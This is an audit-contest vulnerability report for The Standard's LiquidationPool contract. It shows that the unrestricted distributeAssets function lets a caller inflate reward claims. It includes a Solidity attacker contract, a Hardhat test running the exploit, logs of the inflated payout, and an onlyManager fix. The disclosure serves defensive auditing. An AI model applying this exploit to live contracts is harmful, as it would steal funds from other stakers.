The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Manipulate Reward after 1day by using "distributeAssets" function

Summary

If you run ClaimReward when LiquidPool's balance remains even after one day after executing LiquidpoolManager's "runLiquidation", you can receive a reward greater than the existing reward.

Vulnerability Details

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L205

scenario

  1. Execute “runLiquidation” function in LiquidationPoolManager

  2. Execute LiquidationPool’s increasePosition function to register holder

  3. After 1 day

  4. Execute the “distributeAssets” function in LiquidationPool by setting a random Asset value.
    You can manipulate the value of rewards by executing this function.

Debugging Log

LiquidationPool
abusing reward
increase Position msg.sender: 0x70997970c51812dc3a010c7d01b50e0d17dc79c8
increase Position msg.sender: 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
===================================================================
before claim user1 balance
BigNumber { value: "9999975381089958920079" }
claim reward eth
_rewardAmount: 795000000000000
===================================================================
after claim user1 balance
9999975504303152151917
✔ original claim reward (220ms)
befor position
BigNumber { value: "9999976111932908460364" }
increase Position msg.sender: 0x70997970c51812dc3a010c7d01b50e0d17dc79c8
increase Position msg.sender: 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
after position
BigNumber { value: "9999975381089958920079" }
===================================================================
before claim user1 balance
BigNumber { value: "9999975381089958920079" }
increase Position msg.sender: 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
claim reward eth
_rewardAmount: 71752500000000000
===================================================================
after claim user1 balance
10000046075044696206065
✔ exploit claim reward (260ms)

POC

  1. write "ExampleContract.sol" code in "contracts" folder

ExampleContract.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "hardhat/console.sol";
import "contracts/interfaces/ITokenManager.sol";
interface ILiquidationPoolManager {
struct Asset {
ITokenManager.Token token;
uint256 amount;
}
function distributeFees() external;
function runLiquidation(uint256 _tokenId) external;
}
interface ILiquidationPool {
function distributeFees(uint256 _amount) external;
function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable;
}
contract ExampleContract {
ILiquidationPoolManager.Asset public asset;
ILiquidationPool public liquidationPool;
address public holder;
address public clAddr;
constructor(address _liquidationPool, address _holder, address _clAddr) {
liquidationPool = ILiquidationPool(_liquidationPool);
holder = _holder;
clAddr = _clAddr;
}
function setAsset() public {
asset.token.addr = address(0);
asset.token.dec = 18;
asset.token.symbol = "ETH";
asset.token.clAddr = clAddr;
asset.token.clDec = 0;
asset.amount = 70957500000000000;
}
function distributeAssets() external {
ILiquidationPoolManager.Asset[] memory _assets = new ILiquidationPoolManager.Asset[](1);
_assets[0] = asset;
(liquidationPool).distributeAssets(_assets, 1000000000000000000, 1);
// (liquidationPool).distributeAssets(_assets, 1, 1);
// (liquidationPool).distributeAssets(_assets, 1, 1000000000000000000 *31000);
}
function console_getBalance() external view {
console.log("balance: %s", address(this).balance);
}
}
  1. write "test.js" code in "test" folder

test.js

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { BigNumber } = ethers;
// const { mockTokenManager, DEFAULT_COLLATERAL_RATE, TOKEN_ID, rewardAmountForAsset, DAY, fastForward, POOL_FEE_PERCENTAGE, DEFAULT_EUR_USD_PRICE } = require("./common");
const { mockTokenManager, DEFAULT_EUR_USD_PRICE, DEFAULT_ETH_USD_PRICE, DEFAULT_WBTC_USD_PRICE, DEFAULT_USDC_USD_PRICE, DEFAULT_COLLATERAL_RATE, HUNDRED_PC, TOKEN_ID, rewardAmountForAsset, fastForward, DAY, POOL_FEE_PERCENTAGE, fullyUpgradedSmartVaultManager, PROTOCOL_FEE_RATE } = require("./common");
const { setBalance } = require("@nomicfoundation/hardhat-network-helpers");
describe('LiquidationPool', async () => {
// let user1, user2, user3, Protocol, LiquidationPoolManager, LiquidationPool, MockSmartVaultManager,
// ERC20MockFactory, TST, EUROs;
let LiquidationPoolManager, LiquidationPoolManagerContract, LiquidationPool, SmartVaultManager, TokenManager,
TST, EUROs, WBTC, USDC, holder1, holder2, holder3, holder4, holder5, Protocol, ERC20MockFactory;
beforeEach(async () => {
[user1, holder1, holder2, holder3, holder4, holder5, Protocol] = await ethers.getSigners();
ERC20MockFactory = await ethers.getContractFactory('ERC20Mock');
TST = await ERC20MockFactory.deploy('The Standard Token', 'TST', 18);
EUROs = await (await ethers.getContractFactory('EUROsMock')).deploy();
({ TokenManager, WBTC, USDC } = await mockTokenManager());
SmartVaultManager = await (await ethers.getContractFactory('MockSmartVaultManager')).deploy(DEFAULT_COLLATERAL_RATE, TokenManager.address);
const EurUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('EUR/USD'); // $1.06
await EurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
LiquidationPoolManagerContract = await ethers.getContractFactory('LiquidationPoolManager');
LiquidationPoolManager = await LiquidationPoolManagerContract.deploy(
TST.address, EUROs.address, SmartVaultManager.address, EurUsd.address, Protocol.address, POOL_FEE_PERCENTAGE
);
LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address);
});
afterEach(async () => {
await network.provider.send("hardhat_reset")
});
describe('abusing reward', async () => {
it('original claim reward', async () => {
let test;
//"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9"
test = await (await ethers.getContractFactory('ExampleContract')).deploy(LiquidationPool.address, user1.address, "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9");
await setBalance(test.address, ethers.utils.parseEther('3000'));
await test.setAsset()
const ethCollateral = ethers.utils.parseEther('0.1');
const wbtcCollateral = BigNumber.from(2_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
await holder1.sendTransaction({to: SmartVaultManager.address, value: ethCollateral});
await WBTC.mint(SmartVaultManager.address, wbtcCollateral);
await USDC.mint(SmartVaultManager.address, usdcCollateral);
const tstStake1 = ethers.utils.parseEther('100');
const eurosStake1 = ethers.utils.parseEther('100');
await TST.mint(holder1.address, tstStake1);
await EUROs.mint(holder1.address, eurosStake1);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1);
const tstStake2 = ethers.utils.parseEther('3000');
const eurosStake2 = ethers.utils.parseEther('300');
const test_balance = ethers.utils.parseEther('100');
const tstStake3 = ethers.utils.parseEther('10');
const eurosStake3 = ethers.utils.parseEther('1');
await TST.mint(user1.address, tstStake2);
await EUROs.mint(user1.address, eurosStake2);
await TST.connect(user1).approve(LiquidationPool.address, tstStake2);
await EUROs.connect(user1).approve(LiquidationPool.address, eurosStake2);
await LiquidationPool.connect(user1).increasePosition(tstStake3, eurosStake3);
await fastForward(DAY);
console.log("===================================================================\n\n")
console.log("before claim user1 balance");
console.log(await user1.getBalance());
await LiquidationPoolManager.runLiquidation(TOKEN_ID);
await LiquidationPool.connect(user1).claimRewards();
console.log("\n\n===================================================================");
console.log("after claim user1 balance");
console.log(await user1.getBalance() + "\n\n");
});
it('exploit claim reward', async () => {
let test;
//"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9"
test = await (await ethers.getContractFactory('ExampleContract')).deploy(LiquidationPool.address, user1.address, "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9");
// await setBalance(test.address, ethers.utils.parseEther('3000'));
await test.setAsset()
const ethCollateral = ethers.utils.parseEther('0.1');
const wbtcCollateral = BigNumber.from(2_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
await holder1.sendTransaction({to: SmartVaultManager.address, value: ethCollateral});
await WBTC.mint(SmartVaultManager.address, wbtcCollateral);
await USDC.mint(SmartVaultManager.address, usdcCollateral);
const tstStake1 = ethers.utils.parseEther('100');
const eurosStake1 = ethers.utils.parseEther('100');
await TST.mint(holder1.address, tstStake1);
await EUROs.mint(holder1.address, eurosStake1);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1);
const tstStake2 = ethers.utils.parseEther('3000');
const eurosStake2 = ethers.utils.parseEther('300');
const test_balance = ethers.utils.parseEther('0.0000000001');
const tstStake3 = ethers.utils.parseEther('10');
const eurosStake3 = ethers.utils.parseEther('1');
await TST.mint(user1.address, tstStake2);
await EUROs.mint(user1.address, eurosStake2);
await TST.connect(user1).approve(LiquidationPool.address, tstStake2);
await EUROs.connect(user1).approve(LiquidationPool.address, eurosStake2);
await LiquidationPool.connect(user1).increasePosition(tstStake3, eurosStake3);
await fastForward(DAY);
console.log("===================================================================\n\n")
console.log("before claim user1 balance");
console.log(await user1.getBalance());
// await test.distributeAssets();
await LiquidationPoolManager.runLiquidation(TOKEN_ID);
await LiquidationPool.connect(user1).increasePosition(test_balance, test_balance);
await fastForward(DAY);
await test.distributeAssets();
await LiquidationPool.connect(user1).claimRewards();
console.log("\n\n===================================================================");
console.log("after claim user1 balance");
console.log(await user1.getBalance() + "\n\n");
});
});
});

Impact

In general, you can receive more reward than the reward you can get through the 'claimRewards' function.

Tools Used

vscode, hardhat

Recommendations

Add "onlyManager" modifier to "distributeAssets" function

function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable onlyManager {
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.